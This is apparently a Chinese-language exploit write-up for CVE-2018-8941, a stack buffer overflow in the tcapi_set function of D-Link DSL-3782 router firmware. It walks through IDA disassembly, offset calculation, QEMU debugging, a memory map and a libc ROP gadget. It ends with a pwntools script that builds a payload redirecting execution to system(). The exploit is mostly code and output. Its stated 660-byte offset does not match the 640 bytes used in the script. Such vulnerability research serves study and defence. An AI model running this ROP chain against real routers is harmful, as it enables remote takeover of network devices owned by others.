CVE-2018-8941 D-Link DSL-3782 代码执行
漏洞介绍
根据cve报告在D-Link路由器系列中的DSL-3782的/USEFS/BI/TCAP中存在缓冲区溢出漏洞。
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8941
固件下载:https://media.dlink.eu/ftp/products/dsl/dsl-3782/driver_software/DSL-3782_A1_EU_1.01_07282016.zip
漏洞分析
下载解压后用binwalk提取固件之后找到USEFS/BI/TCAP放到ida中分析。
发现是tcapi_set函数存在缓冲区溢出,这个函数是libtcapi.so.1链接库里调用的函数,ida重新加载libtcapi.so.1找到该函数。分析一下代码,可以发现这里有三个strcpy,但这三个strcpy都没有判断长度,所以任何一个都可以造成溢出。
.text:000012E4 .globl tcapi_set
.text:000012E4 tcapi_set: # DATA XREF: LOAD:0000041C↑o
.text:000012E4
.text:000012E4 var_2A8 = -0x2A8
.text:000012E4 var_2A0 = -0x2A0
.text:000012E4 var_29C = -0x29C
.text:000012E4 var_298 = -0x298
.text:000012E4 var_278 = -0x278
.text:000012E4 var_258 = -0x258
.text:000012E4 var_14 = -0x14
.text:000012E4 var_10 = -0x10
.text:000012E4 var_C = -0xC
.text:000012E4 var_8 = -8
.text:000012E4 var_4 = -4
.text:000012E4
.text:000012E4 li $gp, 0x1836C
.text:000012EC addu $gp, $t9
.text:000012F0 addiu $sp, -0x2B8
.text:000012F4 sw $ra, 0x2B8+var_4($sp)
.text:000012F8 sw $s3, 0x2B8+var_8($sp)
.text:000012FC sw $s2, 0x2B8+var_C($sp)
.text:00001300 sw $s1, 0x2B8+var_10($sp)
.text:00001304 sw $s0, 0x2B8+var_14($sp)
.text:00001308 sw $gp, 0x2B8+var_2A8($sp)
.text:0000130C la $t9, memset
.text:00001310 addiu $s2, $sp, 0x2B8+var_2A0
.text:00001314 move $s0, $a0
.text:00001318 move $s3, $a1
.text:0000131C move $s1, $a2
.text:00001320 move $a0, $s2 # s
.text:00001324 li $a2, 0x288 # n
.text:00001328 jalr $t9 ; memset
.text:0000132C move $a1, $zero # c
.text:00001330 lw $gp, 0x2B8+var_2A8($sp)
.text:00001334 move $a1, $s0 # src
.text:00001338 addiu $a0, $sp, 0x2B8+var_298 # dest
.text:0000133C la $t9, strcpy
.text:00001340 jalr $t9 ; strcpy
.text:00001344 sw $zero, 0x2B8+var_2A0($sp)
.text:00001348 lw $gp, 0x2B8+var_2A8($sp)
.text:0000134C move $a1, $s1 # src
.text:00001350 la $t9, strcpy
.text:00001354 jalr $t9 ; strcpy
.text:00001358 addiu $a0, $sp, 0x2B8+var_258 # dest
.text:0000135C lw $gp, 0x2B8+var_2A8($sp)
.text:00001360 move $a1, $s3 # src
.text:00001364 la $t9, strcpy
.text:00001368 jalr $t9 ; strcpy
.text:0000136C addiu $a0, $sp, 0x2B8+var_278 # dest
.text:00001370 lw $gp, 0x2B8+var_2A8($sp)
.text:00001374 la $t9, send2CfgManager
.text:00001378 jalr $t9 ; send2CfgManager
.text:0000137C move $a0, $s2
.text:00001380 lw $ra, 0x2B8+var_4($sp)
.text:00001384 lw $v0, 0x2B8+var_29C($sp)
.text:00001388 lw $gp, 0x2B8+var_2A8($sp)
.text:0000138C lw $s3, 0x2B8+var_8($sp)
.text:00001390 lw $s2, 0x2B8+var_C($sp)
.text:00001394 lw $s1, 0x2B8+var_10($sp)
.text:00001398 lw $s0, 0x2B8+var_14($sp)
.text:0000139C jr $ra
.text:000013A0 addiu $sp, 0x2B8
.text:000013A0 # End of function tcapi_set
.text:000013A0
用第一个来测试,第一个的buf存在 0x2B8+var_298的位置,而返回地址ra存在sw $ra, 0x2B8+var_4($sp)的位置,所以中间要覆盖0x298-0x4=660个字节。动态调试测试一下,这里要注意tcapi_set函数是有三个参数的,所以输入的时候必须要三个参数全部输齐,不然会报错,如图。
在ida调试后可以发现已经把返回地址覆盖为“BBBB”
漏洞测试
已经算好了覆盖的长度,接下来就是构造ROP链了。可以通过查看内存的方式来找调用了哪些动态链接库。
root@tearorca:~/f/测试/D-Link DSL-3782/_DSL-3782_A1_EU_1.01_07282016.bin.extracted/squashfs-root/userfs/bin#ps -aux | grep tcapi
root 20948 0.0 0.0 6364 896 pts/0 S+ 13:55 0:00 grep tcapi
root 27773 0.0 0.1 2219728 11660 pts/1 Sl+ 13:44 0:00 ./qemu-mips -g 1234 userfs/bin/tcapi set
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
text text
root@tearorca:~/f/测试/D-Link
DSL-3782/_DSL-3782_A1_EU_1.01_07282016.bin.extracted/squashfs-root/userfs/bin#
pmap 27773
27773: ./qemu-mips -g 1234 userfs/bin/tcapi set
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0000555f116f4000 376K r---- qemu-mips
0000555f11752000 1632K r-x-- qemu-mips
0000555f118ea000 524K r---- qemu-mips
0000555f1196e000 324K r---- qemu-mips
0000555f119bf000 168K rw--- qemu-mips
0000555f119e9000 36K rw--- [ anon ]
0000555f119f2000 32764K rwx-- [ anon ]
0000555f139f1000 4K ----- [ anon ]
0000555f139f2000 84K rw--- [ anon ]
0000555f156f5000 400K rw--- [ anon ]
00007f0220000000 4096K ----- [ anon ]
00007f0220400000 8K r-x-- tcapi
00007f0220402000 60K ----- [ anon ]
00007f0220411000 4K rw--- tcapi
00007f0220412000 2083876K ----- [ anon ]
00007f029f71b000 412K r-x-- libc.so.0
00007f029f782000 60K ----- [ anon ]
00007f029f791000 4K r---- libc.so.0
00007f029f792000 4K rw--- libc.so.0
00007f029f793000 20K rw--- [ anon ]
00007f029f798000 4K ----- [ anon ]
00007f029f799000 168K r-x-- libgcc_s.so.1
00007f029f7c3000 64K ----- [ anon ]
00007f029f7d3000 4K rw--- libgcc_s.so.1
00007f029f7d4000 4K ----- [ anon ]
00007f029f7d5000 8K r-x-- libtcapi.so.1
00007f029f7d7000 60K ----- [ anon ]
00007f029f7e6000 4K rw--- libtcapi.so.1
00007f029f7e7000 4K ----- [ anon ]
00007f029f7e8000 4K rw--- [ anon ]
00007f029f7e9000 20K r-x-- ld-uClibc.so.0
00007f029f7ee000 60K ----- [ anon ]
00007f029f7fd000 4K r---- ld-uClibc.so.0
00007f029f7fe000 4K rw--- ld-uClibc.so.0
00007f029f7ff000 4K ----- [ anon ]
00007f029f800000 8192K rw--- [ anon ]
00007f02a0000000 132K rw--- [ anon ]
00007f02a0021000 65404K ----- [ anon ]
00007f02a4969000 516K rw--- [ anon ]
00007f02a49ea000 4K ----- [ anon ]
00007f02a49eb000 8212K rw--- [ anon ]
00007f02a51f0000 8K r---- libpcre.so.3
00007f02a51f2000 328K r-x-- libpcre.so.3
00007f02a5244000 120K r---- libpcre.so.3
00007f02a5262000 4K r---- libpcre.so.3
00007f02a5263000 4K rw--- libpcre.so.3
00007f02a5264000 136K r---- libc.so.6
00007f02a5286000 1312K r-x-- libc.so.6
00007f02a53ce000 304K r---- libc.so.6
00007f02a541a000 4K ----- libc.so.6
00007f02a541b000 16K r---- libc.so.6
00007f02a541f000 8K rw--- libc.so.6
00007f02a5421000 16K rw--- [ anon ]
00007f02a5425000 24K r---- libpthread.so.0
00007f02a542b000 60K r-x-- libpthread.so.0
00007f02a543a000 24K r---- libpthread.so.0
00007f02a5440000 4K r---- libpthread.so.0
00007f02a5441000 4K rw--- libpthread.so.0
00007f02a5442000 16K rw--- [ anon ]
00007f02a5446000 12K r---- libgcc_s.so.1
00007f02a5449000 68K r-x-- libgcc_s.so.1
00007f02a545a000 12K r---- libgcc_s.so.1
00007f02a545d000 4K ----- libgcc_s.so.1
00007f02a545e000 4K r---- libgcc_s.so.1
00007f02a545f000 4K rw--- libgcc_s.so.1
00007f02a5460000 52K r---- libm.so.6
00007f02a546d000 636K r-x-- libm.so.6
00007f02a550c000 852K r---- libm.so.6
00007f02a55e1000 4K r---- libm.so.6
00007f02a55e2000 4K rw--- libm.so.6
00007f02a55e3000 8K rw--- [ anon ]
00007f02a55e5000 548K r---- libstdc++.so.6
00007f02a566e000 688K r-x-- libstdc++.so.6
00007f02a571a000 248K r---- libstdc++.so.6
00007f02a5758000 4K ----- libstdc++.so.6
00007f02a5759000 40K r---- libstdc++.so.6
00007f02a5763000 8K rw--- libstdc++.so.6
00007f02a5765000 16K rw--- [ anon ]
00007f02a5769000 8K r---- librt.so.1
00007f02a576b000 16K r-x-- librt.so.1
00007f02a576f000 8K r---- librt.so.1
00007f02a5771000 4K r---- librt.so.1
00007f02a5772000 4K rw--- librt.so.1
00007f02a5773000 108K r---- libglib-2.0.so.0
00007f02a578e000 504K r-x-- libglib-2.0.so.0
00007f02a580c000 520K r---- libglib-2.0.so.0
00007f02a588e000 4K ----- libglib-2.0.so.0
00007f02a588f000 4K r---- libglib-2.0.so.0
00007f02a5890000 4K rw--- libglib-2.0.so.0
00007f02a5891000 4K rw--- [ anon ]
00007f02a5892000 4K r---- libgthread-2.0.so.0
00007f02a5893000 4K r-x-- libgthread-2.0.so.0
00007f02a5894000 4K r---- libgthread-2.0.so.0
00007f02a5895000 4K r---- libgthread-2.0.so.0
00007f02a5896000 4K rw--- libgthread-2.0.so.0
00007f02a5897000 112K r-x-- libz.so.1
00007f02a58b3000 2048K ----- libz.so.1
00007f02a5ab3000 4K r---- libz.so.1
00007f02a5ab4000 4K rw--- libz.so.1
00007f02a5ab5000 256K r---- libcapstone.so.3
00007f02a5af5000 596K r-x-- libcapstone.so.3
00007f02a5b8a000 1552K r---- libcapstone.so.3
00007f02a5d0e000 4K ----- libcapstone.so.3
00007f02a5d0f000 276K r---- libcapstone.so.3
00007f02a5d54000 4K rw--- libcapstone.so.3
00007f02a5d55000 8K rw--- [ anon ]
00007f02a5d57000 4K r---- ld-linux-x86-64.so.2
00007f02a5d58000 120K r-x-- ld-linux-x86-64.so.2
00007f02a5d76000 32K r---- ld-linux-x86-64.so.2
00007f02a5d7e000 4K r---- ld-linux-x86-64.so.2
00007f02a5d7f000 4K rw--- ld-linux-x86-64.so.2
00007f02a5d80000 4K rw--- [ anon ]
00007fff80e4c000 132K rw--- [ stack ]
00007fff80f0b000 12K r---- [ anon ]
00007fff80f0e000 8K r-x-- [ anon ]
total 2219728K
可以找到一个libc.so.0库,ida加载它,然后寻找可用的ROP链。可以看到下面给的这条链,直接把s5给了a0也就是第一个参数,而s5是栈上的一个数据,完全符合溢出利用。s0也可以在栈中获得。
.text:0001656C addiu $s5, $sp, 0x170+var_160
.text:00016570 move $a1, $s3
.text:00016574 move $a2, $s1
.text:00016578 move $t9, $s0
.text:0001657C jalr $t9 ; mempcpy
.text:00016580 move $a0, $s5
这是tcapi_set函数的最后两句
.text:00001398 lw $s0, 0x2B8+var_14($sp)
.text:0000139C jr $ra
然后再找到system函数
.text:00059BB0 .globl system # weak
.text:00059BB0 system: # DATA XREF: LOAD:00003694↑o
.text:00059BB0 # LOAD:00005734↑o
.text:00059BB0
.text:00059BB0 var_38 = -0x38
.text:00059BB0 var_30 = -0x30
.text:00059BB0 var_28 = -0x28
.text:00059BB0 var_1C = -0x1C
.text:00059BB0 var_18 = -0x18
.text:00059BB0 var_14 = -0x14
.text:00059BB0 var_10 = -0x10
.text:00059BB0 var_C = -0xC
.text:00059BB0 var_8 = -8
.text:00059BB0 var_4 = -4
.text:00059BB0
最后写exp
from pwn import *
import os
basic_addr=0x40868000
system_addr=basic_addr+0x00059BB0
gadget_addr=basic_addr+0x0001656C
f=open("payload","wb")
payload='A'*640+p32(system_addr)+'A'*0x10+p32(gadget_addr)+'A'*0x10+'ls'
f.write(payload)
f.close()